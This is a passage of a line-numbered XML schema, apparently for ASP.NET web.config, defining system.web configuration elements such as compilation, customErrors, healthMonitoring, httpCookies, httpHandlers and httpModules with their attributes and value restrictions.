1388 <xs:complexType>
1389 <xs:choice minOccurs="0" maxOccurs="unbounded">
1390 <xs:element name="add" vs:help="configuration/system.web/compilation/codeSubDirectories/add">
1391 <xs:complexType>
1392 <xs:attribute name="directoryName" use="required">
1393 <xs:simpleType>
1394 <xs:restriction base="xs:string">
1395 <xs:whiteSpace value="collapse" />
1396 </xs:restriction>
1397 </xs:simpleType>
1398 </xs:attribute>
1399 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1400 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1401 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1402 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1403 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1404 </xs:complexType>
1405 </xs:element>
1406 </xs:choice>
1407 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1408 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1409 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1410 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1411 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1412 </xs:complexType>
1413 </xs:element>
1414 <xs:element name="expressionBuilders" vs:help="configuration/system.web/compilation/expressionBuilders">
1415 <xs:complexType>
1416 <xs:choice minOccurs="0" maxOccurs="unbounded">
1417 <xs:element name="add" vs:help="configuration/system.web/compilation/expressionBuilders/add">
1418 <xs:complexType>
1419 <xs:attribute name="expressionPrefix" use="required">
1420 <xs:simpleType>
1421 <xs:restriction base="xs:string">
1422 <xs:minLength value="1" />
1423 </xs:restriction>
1424 </xs:simpleType>
1425 </xs:attribute>
1426 <xs:attribute name="type" use="required">
1427 <xs:simpleType>
1428 <xs:restriction base="xs:string">
1429 <xs:minLength value="1" />
1430 </xs:restriction>
1431 </xs:simpleType>
1432 </xs:attribute>
1433 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1434 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1435 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1436 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1437 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1438 </xs:complexType>
1439 </xs:element>
1440 <xs:element name="remove" vs:help="configuration/system.web/compilation/expressionBuilders/remove">
1441 <xs:complexType>
1442 <xs:attribute name="expressionPrefix" use="required">
1443 <xs:simpleType>
1444 <xs:restriction base="xs:string">
1445 <xs:minLength value="1" />
1446 </xs:restriction>
1447 </xs:simpleType>
1448 </xs:attribute>
1449 </xs:complexType>
1450 </xs:element>
1451 <xs:element name="clear" vs:help="configuration/system.web/compilation/expressionBuilders/clear">
1452 <xs:complexType>
1453 <!--tag is empty-->
1454 </xs:complexType>
1455 </xs:element>
1456 </xs:choice>
1457 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1458 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1459 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1460 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1461 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1462 </xs:complexType>
1463 </xs:element>
1464 </xs:choice>
1465 <xs:attribute name="assemblyPostProcessorType" type="xs:string" use="optional" />
1466 <xs:attribute name="batch" type="small_boolean_Type" use="optional" />
1467 <xs:attribute name="batchTimeout" use="optional">
1468 <xs:simpleType>
1469 <xs:restriction base="xs:string">
1470 <xs:pattern value="([0-9.]+:){0,1}([0-9]+:){0,1}[0-9.]+" />
1471 </xs:restriction>
1472 </xs:simpleType>
1473 </xs:attribute>
1474 <xs:attribute name="debug" type="small_boolean_Type" use="optional" />
1475 <xs:attribute name="defaultLanguage" type="xs:string" use="optional" />
1476 <xs:attribute name="explicit" type="small_boolean_Type" use="optional" />
1477 <xs:attribute name="maxBatchGeneratedFileSize" type="xs:int" use="optional" />
1478 <xs:attribute name="maxBatchSize" type="xs:int" use="optional" />
1479 <xs:attribute name="numRecompilesBeforeAppRestart" type="xs:int" use="optional" />
1480 <xs:attribute name="strict" type="small_boolean_Type" use="optional" />
1481 <xs:attribute name="tempDirectory" type="xs:string" use="optional" />
1482 <xs:attribute name="urlLinePragmas" type="small_boolean_Type" use="optional" />
1483 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1484 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1485 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1486 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1487 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1488 <xs:attribute name="configSource" type="xs:string" use="optional" />
1489 </xs:complexType>
1490 </xs:element>
1491 <xs:element name="customErrors" vs:help="configuration/system.web/customErrors">
1492 <xs:complexType>
1493 <xs:choice minOccurs="0" maxOccurs="unbounded">
1494 <xs:element name="error" vs:help="configuration/system.web/customErrors/error">
1495 <xs:complexType>
1496 <xs:attribute name="redirect" use="required">
1497 <xs:simpleType>
1498 <xs:restriction base="xs:string">
1499 <xs:minLength value="1" />
1500 </xs:restriction>
1501 </xs:simpleType>
1502 </xs:attribute>
1503 <xs:attribute name="statusCode" use="required">
1504 <xs:simpleType>
1505 <xs:restriction base="xs:int">
1506 <xs:minInclusive value="100" />
1507 <xs:maxInclusive value="999" />
1508 </xs:restriction>
1509 </xs:simpleType>
1510 </xs:attribute>
1511 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1512 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1513 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1514 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1515 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1516 </xs:complexType>
1517 </xs:element>
1518 </xs:choice>
1519 <xs:attribute name="defaultRedirect" type="xs:string" use="optional" />
1520 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1521 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1522 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1523 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1524 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1525 <xs:attribute name="mode" use="optional">
1526 <xs:simpleType>
1527 <xs:restriction base="xs:NMTOKEN">
1528 <xs:enumeration value="Off" />
1529 <xs:enumeration value="On" />
1530 <xs:enumeration value="RemoteOnly" />
1531 </xs:restriction>
1532 </xs:simpleType>
1533 </xs:attribute>
1534 <xs:attribute name="configSource" type="xs:string" use="optional" />
1535 </xs:complexType>
1536 </xs:element>
1537 <xs:element name="deployment" vs:help="configuration/system.web/deployment">
1538 <xs:complexType>
1539 <xs:attribute name="retail" type="small_boolean_Type" use="optional" />
1540 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1541 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1542 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1543 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1544 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1545 <xs:attribute name="configSource" type="xs:string" use="optional" />
1546 </xs:complexType>
1547 </xs:element>
1548 <xs:element name="deviceFilters" vs:help="configuration/system.web/deviceFilters">
1549 <xs:complexType>
1550 <xs:choice minOccurs="0" maxOccurs="unbounded">
1551 <xs:element name="filter" vs:help="configuration/system.web/deviceFilters/filter">
1552 <xs:complexType>
1553 <xs:attribute name="argument" use="optional">
1554 <xs:simpleType>
1555 <xs:restriction base="xs:string">
1556 <xs:minLength value="1" />
1557 </xs:restriction>
1558 </xs:simpleType>
1559 </xs:attribute>
1560 <xs:attribute name="compare" use="optional">
1561 <xs:simpleType>
1562 <xs:restriction base="xs:string">
1563 <xs:minLength value="1" />
1564 </xs:restriction>
1565 </xs:simpleType>
1566 </xs:attribute>
1567 <xs:attribute name="type" type="xs:string" use="optional" />
1568 <xs:attribute name="method" use="optional">
1569 <xs:simpleType>
1570 <xs:restriction base="xs:string">
1571 <xs:minLength value="1" />
1572 </xs:restriction>
1573 </xs:simpleType>
1574 </xs:attribute>
1575 <xs:attribute name="name" use="required">
1576 <xs:simpleType>
1577 <xs:restriction base="xs:string">
1578 <xs:minLength value="1" />
1579 </xs:restriction>
1580 </xs:simpleType>
1581 </xs:attribute>
1582 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1583 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1584 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1585 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1586 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1587 </xs:complexType>
1588 </xs:element>
1589 </xs:choice>
1590 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1591 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1592 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1593 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1594 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1595 <xs:attribute name="configSource" type="xs:string" use="optional" />
1596 </xs:complexType>
1597 </xs:element>
1598 <xs:element name="globalization" vs:help="configuration/system.web/globalization">
1599 <xs:complexType>
1600 <xs:attribute name="culture" type="xs:string" use="optional" />
1601 <xs:attribute name="enableBestFitResponseEncoding" type="small_boolean_Type" use="optional" />
1602 <xs:attribute name="enableClientBasedCulture" type="small_boolean_Type" use="optional" />
1603 <xs:attribute name="fileEncoding" type="xs:string" use="optional" />
1604 <xs:attribute name="requestEncoding" type="xs:string" use="optional" />
1605 <xs:attribute name="resourceProviderFactoryType" type="xs:string" use="optional" />
1606 <xs:attribute name="responseEncoding" type="xs:string" use="optional" />
1607 <xs:attribute name="responseHeaderEncoding" type="xs:string" use="optional" />
1608 <xs:attribute name="uiCulture" type="xs:string" use="optional" />
1609 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1610 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1611 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1612 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1613 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1614 <xs:attribute name="configSource" type="xs:string" use="optional" />
1615 </xs:complexType>
1616 </xs:element>
1617 <xs:element name="healthMonitoring" vs:help="configuration/system.web/healthMonitoring">
1618 <xs:complexType>
1619 <xs:choice minOccurs="0" maxOccurs="unbounded">
1620 <xs:element name="bufferModes" vs:help="configuration/system.web/healthMonitoring/bufferModes">
1621 <xs:complexType>
1622 <xs:choice minOccurs="0" maxOccurs="unbounded">
1623 <xs:element name="add" vs:help="configuration/system.web/healthMonitoring/bufferModes/add">
1624 <xs:complexType>
1625 <xs:attribute name="maxBufferSize" use="required">
1626 <xs:simpleType>
1627 <xs:union memberTypes="xs:int Infinite">
1628 <xs:simpleType>
1629 <xs:restriction base="xs:int">
1630 <xs:minInclusive value="1" />
1631 </xs:restriction>
1632 </xs:simpleType>
1633 </xs:union>
1634 </xs:simpleType>
1635 </xs:attribute>
1636 <xs:attribute name="maxBufferThreads" use="optional">
1637 <xs:simpleType>
1638 <xs:union memberTypes="xs:int Infinite">
1639 <xs:simpleType>
1640 <xs:restriction base="xs:int">
1641 <xs:minInclusive value="1" />
1642 </xs:restriction>
1643 </xs:simpleType>
1644 </xs:union>
1645 </xs:simpleType>
1646 </xs:attribute>
1647 <xs:attribute name="maxFlushSize" use="required">
1648 <xs:simpleType>
1649 <xs:union memberTypes="xs:int Infinite">
1650 <xs:simpleType>
1651 <xs:restriction base="xs:int">
1652 <xs:minInclusive value="1" />
1653 </xs:restriction>
1654 </xs:simpleType>
1655 </xs:union>
1656 </xs:simpleType>
1657 </xs:attribute>
1658 <xs:attribute name="name" use="required">
1659 <xs:simpleType>
1660 <xs:restriction base="xs:string">
1661 <xs:minLength value="1" />
1662 </xs:restriction>
1663 </xs:simpleType>
1664 </xs:attribute>
1665 <xs:attribute name="regularFlushInterval" use="required">
1666 <xs:simpleType>
1667 <xs:restriction base="xs:string">
1668 <xs:pattern value="([0-9.]+:){0,1}([0-9]+:){0,1}[0-9.]+" />
1669 </xs:restriction>
1670 </xs:simpleType>
1671 </xs:attribute>
1672 <xs:attribute name="urgentFlushInterval" type="xs:string" use="required" />
1673 <xs:attribute name="urgentFlushThreshold" use="required">
1674 <xs:simpleType>
1675 <xs:union memberTypes="xs:int Infinite">
1676 <xs:simpleType>
1677 <xs:restriction base="xs:int">
1678 <xs:minInclusive value="1" />
1679 </xs:restriction>
1680 </xs:simpleType>
1681 </xs:union>
1682 </xs:simpleType>
1683 </xs:attribute>
1684 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1685 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1686 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1687 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1688 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1689 </xs:complexType>
1690 </xs:element>
1691 <xs:element name="remove" vs:help="configuration/system.web/healthMonitoring/bufferModes/remove">
1692 <xs:complexType>
1693 <xs:attribute name="name" use="required">
1694 <xs:simpleType>
1695 <xs:restriction base="xs:string">
1696 <xs:minLength value="1" />
1697 </xs:restriction>
1698 </xs:simpleType>
1699 </xs:attribute>
1700 </xs:complexType>
1701 </xs:element>
1702 <xs:element name="clear" vs:help="configuration/system.web/healthMonitoring/bufferModes/clear">
1703 <xs:complexType>
1704 <!--tag is empty-->
1705 </xs:complexType>
1706 </xs:element>
1707 </xs:choice>
1708 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1709 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1710 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1711 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1712 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1713 </xs:complexType>
1714 </xs:element>
1715 <xs:element name="eventMappings" vs:help="configuration/system.web/healthMonitoring/eventMappings">
1716 <xs:complexType>
1717 <xs:choice minOccurs="0" maxOccurs="unbounded">
1718 <xs:element name="add" vs:help="configuration/system.web/healthMonitoring/eventMappings/add">
1719 <xs:complexType>
1720 <xs:attribute name="endEventCode" use="optional">
1721 <xs:simpleType>
1722 <xs:restriction base="xs:int">
1723 <xs:minInclusive value="0" />
1724 </xs:restriction>
1725 </xs:simpleType>
1726 </xs:attribute>
1727 <xs:attribute name="name" type="xs:string" use="required" />
1728 <xs:attribute name="startEventCode" use="optional">
1729 <xs:simpleType>
1730 <xs:restriction base="xs:int">
1731 <xs:minInclusive value="0" />
1732 </xs:restriction>
1733 </xs:simpleType>
1734 </xs:attribute>
1735 <xs:attribute name="type" type="xs:string" use="required" />
1736 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1737 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1738 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1739 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1740 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1741 </xs:complexType>
1742 </xs:element>
1743 <xs:element name="remove" vs:help="configuration/system.web/healthMonitoring/eventMappings/remove">
1744 <xs:complexType>
1745 <xs:attribute name="name" type="xs:string" use="required" />
1746 </xs:complexType>
1747 </xs:element>
1748 <xs:element name="clear" vs:help="configuration/system.web/healthMonitoring/eventMappings/clear">
1749 <xs:complexType>
1750 <!--tag is empty-->
1751 </xs:complexType>
1752 </xs:element>
1753 </xs:choice>
1754 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1755 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1756 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1757 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1758 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1759 </xs:complexType>
1760 </xs:element>
1761 <xs:element name="profiles" vs:help="configuration/system.web/healthMonitoring/profiles">
1762 <xs:complexType>
1763 <xs:choice minOccurs="0" maxOccurs="unbounded">
1764 <xs:element name="add" vs:help="configuration/system.web/healthMonitoring/profiles/add">
1765 <xs:complexType>
1766 <xs:attribute name="custom" type="xs:string" use="optional" />
1767 <xs:attribute name="maxLimit" use="optional">
1768 <xs:simpleType>
1769 <xs:union memberTypes="xs:int Infinite">
1770 <xs:simpleType>
1771 <xs:restriction base="xs:int">
1772 <xs:minInclusive value="0" />
1773 </xs:restriction>
1774 </xs:simpleType>
1775 </xs:union>
1776 </xs:simpleType>
1777 </xs:attribute>
1778 <xs:attribute name="minInstances" use="optional">
1779 <xs:simpleType>
1780 <xs:restriction base="xs:int">
1781 <xs:minInclusive value="1" />
1782 </xs:restriction>
1783 </xs:simpleType>
1784 </xs:attribute>
1785 <xs:attribute name="minInterval" type="xs:string" use="optional" />
1786 <xs:attribute name="name" use="required">
1787 <xs:simpleType>
1788 <xs:restriction base="xs:string">
1789 <xs:minLength value="1" />
1790 </xs:restriction>
1791 </xs:simpleType>
1792 </xs:attribute>
1793 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1794 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1795 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1796 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1797 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1798 </xs:complexType>
1799 </xs:element>
1800 <xs:element name="remove" vs:help="configuration/system.web/healthMonitoring/profiles/remove">
1801 <xs:complexType>
1802 <xs:attribute name="name" use="required">
1803 <xs:simpleType>
1804 <xs:restriction base="xs:string">
1805 <xs:minLength value="1" />
1806 </xs:restriction>
1807 </xs:simpleType>
1808 </xs:attribute>
1809 </xs:complexType>
1810 </xs:element>
1811 <xs:element name="clear" vs:help="configuration/system.web/healthMonitoring/profiles/clear">
1812 <xs:complexType>
1813 <!--tag is empty-->
1814 </xs:complexType>
1815 </xs:element>
1816 </xs:choice>
1817 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1818 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1819 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1820 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1821 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1822 </xs:complexType>
1823 </xs:element>
1824 <xs:element name="providers" vs:help="configuration/system.web/healthMonitoring/providers">
1825 <xs:complexType>
1826 <xs:choice minOccurs="0" maxOccurs="unbounded">
1827 <xs:element name="add" vs:help="configuration/system.web/healthMonitoring/providers/add">
1828 <xs:complexType>
1829 <xs:attribute name="name" type="xs:string" use="required" />
1830 <xs:attribute name="type" type="xs:string" use="required" />
1831 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1832 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1833 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1834 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1835 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1836 <xs:anyAttribute processContents="skip" />
1837 </xs:complexType>
1838 </xs:element>
1839 <xs:element name="remove" vs:help="configuration/system.web/healthMonitoring/providers/remove">
1840 <xs:complexType>
1841 <xs:attribute name="name" type="xs:string" use="required" />
1842 </xs:complexType>
1843 </xs:element>
1844 <xs:element name="clear" vs:help="configuration/system.web/healthMonitoring/providers/clear">
1845 <xs:complexType>
1846 <!--tag is empty-->
1847 </xs:complexType>
1848 </xs:element>
1849 </xs:choice>
1850 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1851 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1852 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1853 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1854 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1855 </xs:complexType>
1856 </xs:element>
1857 <xs:element name="rules" vs:help="configuration/system.web/healthMonitoring/rules">
1858 <xs:complexType>
1859 <xs:choice minOccurs="0" maxOccurs="unbounded">
1860 <xs:element name="add" vs:help="configuration/system.web/healthMonitoring/rules/add">
1861 <xs:complexType>
1862 <xs:attribute name="custom" type="xs:string" use="optional" />
1863 <xs:attribute name="eventName" type="xs:string" use="required" />
1864 <xs:attribute name="maxLimit" use="optional">
1865 <xs:simpleType>
1866 <xs:union memberTypes="xs:int Infinite">
1867 <xs:simpleType>
1868 <xs:restriction base="xs:int">
1869 <xs:minInclusive value="0" />
1870 </xs:restriction>
1871 </xs:simpleType>
1872 </xs:union>
1873 </xs:simpleType>
1874 </xs:attribute>
1875 <xs:attribute name="minInstances" use="optional">
1876 <xs:simpleType>
1877 <xs:restriction base="xs:int">
1878 <xs:minInclusive value="1" />
1879 </xs:restriction>
1880 </xs:simpleType>
1881 </xs:attribute>
1882 <xs:attribute name="minInterval" type="xs:string" use="optional" />
1883 <xs:attribute name="name" use="required">
1884 <xs:simpleType>
1885 <xs:restriction base="xs:string">
1886 <xs:minLength value="1" />
1887 </xs:restriction>
1888 </xs:simpleType>
1889 </xs:attribute>
1890 <xs:attribute name="profile" type="xs:string" use="optional" />
1891 <xs:attribute name="provider" type="xs:string" use="optional" />
1892 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1893 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1894 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1895 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1896 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1897 </xs:complexType>
1898 </xs:element>
1899 <xs:element name="remove" vs:help="configuration/system.web/healthMonitoring/rules/remove">
1900 <xs:complexType>
1901 <xs:attribute name="name" use="required">
1902 <xs:simpleType>
1903 <xs:restriction base="xs:string">
1904 <xs:minLength value="1" />
1905 </xs:restriction>
1906 </xs:simpleType>
1907 </xs:attribute>
1908 </xs:complexType>
1909 </xs:element>
1910 <xs:element name="clear" vs:help="configuration/system.web/healthMonitoring/rules/clear">
1911 <xs:complexType>
1912 <!--tag is empty-->
1913 </xs:complexType>
1914 </xs:element>
1915 </xs:choice>
1916 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1917 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1918 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1919 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1920 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1921 </xs:complexType>
1922 </xs:element>
1923 </xs:choice>
1924 <xs:attribute name="enabled" type="small_boolean_Type" use="optional" />
1925 <xs:attribute name="heartbeatInterval" use="optional">
1926 <xs:simpleType>
1927 <xs:restriction base="xs:string">
1928 <xs:pattern value="([0-9.]+:){0,1}([0-9]+:){0,1}[0-9.]+" />
1929 </xs:restriction>
1930 </xs:simpleType>
1931 </xs:attribute>
1932 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1933 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1934 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1935 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1936 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1937 <xs:attribute name="configSource" type="xs:string" use="optional" />
1938 </xs:complexType>
1939 </xs:element>
1940 <xs:element name="hostingEnvironment" vs:help="configuration/system.web/hostingEnvironment">
1941 <xs:complexType>
1942 <xs:attribute name="idleTimeout" use="optional">
1943 <xs:simpleType>
1944 <xs:restriction base="xs:string">
1945 <xs:pattern value="([0-9.]+:){0,1}([0-9]+:){0,1}[0-9.]+" />
1946 </xs:restriction>
1947 </xs:simpleType>
1948 </xs:attribute>
1949 <xs:attribute name="shadowCopyBinAssemblies" type="small_boolean_Type" use="optional" />
1950 <xs:attribute name="shutdownTimeout" use="optional">
1951 <xs:simpleType>
1952 <xs:restriction base="xs:string">
1953 <xs:pattern value="([0-9.]+:){0,1}([0-9]+:){0,1}[0-9.]+" />
1954 </xs:restriction>
1955 </xs:simpleType>
1956 </xs:attribute>
1957 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1958 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1959 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1960 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1961 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1962 <xs:attribute name="configSource" type="xs:string" use="optional" />
1963 </xs:complexType>
1964 </xs:element>
1965 <xs:element name="httpCookies" vs:help="configuration/system.web/httpCookies">
1966 <xs:complexType>
1967 <xs:attribute name="domain" type="xs:string" use="optional" />
1968 <xs:attribute name="httpOnlyCookies" type="small_boolean_Type" use="optional" />
1969 <xs:attribute name="requireSSL" type="small_boolean_Type" use="optional" />
1970 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1971 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1972 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1973 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1974 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1975 <xs:attribute name="configSource" type="xs:string" use="optional" />
1976 </xs:complexType>
1977 </xs:element>
1978 <xs:element name="httpHandlers" vs:help="configuration/system.web/httpHandlers">
1979 <xs:complexType>
1980 <xs:choice minOccurs="0" maxOccurs="unbounded">
1981 <xs:element name="add" vs:help="configuration/system.web/httpHandlers/add">
1982 <xs:complexType>
1983 <xs:attribute name="path" type="xs:string" use="required" />
1984 <xs:attribute name="type" type="xs:string" use="required" />
1985 <xs:attribute name="validate" type="small_boolean_Type" use="optional" />
1986 <xs:attribute name="verb" type="xs:string" use="required" />
1987 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1988 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1989 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1990 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1991 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1992 </xs:complexType>
1993 </xs:element>
1994 <xs:element name="remove" vs:help="configuration/system.web/httpHandlers/remove">
1995 <xs:complexType>
1996 <xs:attribute name="path" type="xs:string" use="required" />
1997 <xs:attribute name="verb" type="xs:string" use="required" />
1998 </xs:complexType>
1999 </xs:element>
2000 <xs:element name="clear" vs:help="configuration/system.web/httpHandlers/clear">
2001 <xs:complexType>
2002 <!--tag is empty-->
2003 </xs:complexType>
2004 </xs:element>
2005 </xs:choice>
2006 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2007 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2008 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2009 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2010 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2011 <xs:attribute name="configSource" type="xs:string" use="optional" />
2012 </xs:complexType>
2013 </xs:element>
2014 <xs:element name="httpModules" vs:help="configuration/system.web/httpModules">
2015 <xs:complexType>
2016 <xs:choice minOccurs="0" maxOccurs="unbounded">
2017 <xs:element name="add" vs:help="configuration/system.web/httpModules/add">
2018 <xs:complexType>
2019 <xs:attribute name="name" use="required">
2020 <xs:simpleType>
2021 <xs:restriction base="xs:string">
2022 <xs:minLength value="1" />
2023 </xs:restriction>
2024 </xs:simpleType>
2025 </xs:attribute>
2026 <xs:attribute name="type" type="xs:string" use="required" />
2027 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2028 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2029 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2030 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2031 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2032 </xs:complexType>
2033 </xs:element>
2034 <xs:element name="remove" vs:help="configuration/system.web/httpModules/remove">
2035 <xs:complexType>
2036 <xs:attribute name="name" use="required">
2037 <xs:simpleType>
2038 <xs:restriction base="xs:string">
2039 <xs:minLength value="1" />
2040 </xs:restriction>
2041 </xs:simpleType>
2042 </xs:attribute>
2043 </xs:complexType>
2044 </xs:element>
2045 <xs:element name="clear" vs:help="configuration/system.web/httpModules/clear">
2046 <xs:complexType>
2047 <!--tag is empty-->
2048 </xs:complexType>
2049 </xs:element>
2050 </xs:choice>
2051 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2052 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2053 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2054 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2055 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2056 <xs:attribute name="configSource" type="xs:string" use="optional" />
2057 </xs:complexType>
2058 </xs:element>
2059 <xs:element name="httpRuntime" vs:help="configuration/system.web/httpRuntime">
2060 <xs:complexType>
2061 <xs:attribute name="apartmentThreading" type="small_boolean_Type" use="optional" />
2062 <xs:attribute name="appRequestQueueLimit" use="optional">
2063 <xs:simpleType>
2064 <xs:restriction base="xs:int">
2065 <xs:minInclusive value="1" />
2066 </xs:restriction>
2067 </xs:simpleType>
2068 </xs:attribute>
